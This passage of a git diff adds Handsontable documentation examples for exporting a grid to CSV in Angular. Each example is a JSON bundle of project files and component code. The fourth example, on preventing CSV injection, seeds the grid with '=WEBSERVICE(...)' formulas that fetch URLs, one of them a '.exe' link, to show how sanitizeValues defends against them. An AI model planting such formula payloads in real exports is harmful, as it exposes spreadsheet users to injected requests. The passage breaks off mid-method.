runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__empty-data-state__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json new file mode 100644 index 00000000..d4210a03 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n
\n
\n \n
\n
\n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportFile() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example1.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json new file mode 100644 index 00000000..5767bb6c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n
\n
\n \n
\n
\n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportBlob() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example2.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json new file mode 100644 index 00000000..450b2983 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example3',\n template: `\n
\n
\n \n
\n
\n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n exportString() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example3.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json new file mode 100644 index 00000000..7d8cabde --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
\n
\n \n \n \n \n
\n
\n\n \n \n `,\n encapsulation: ViewEncapsulation.None\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['https://handsontable.com', '=WEBSERVICE(A1)'],\n ['https://github.com', '=WEBSERVICE(A2)'],\n ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n downloadCSVWithNoSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n }\n\n downloadCSVWithRecommendedSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n }\n\n downloadCSVWithRegexpSanitization() {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE/,\n });\n }\n\n downloadCSVWithFunctionSanitization() {\n const exportPlugin = 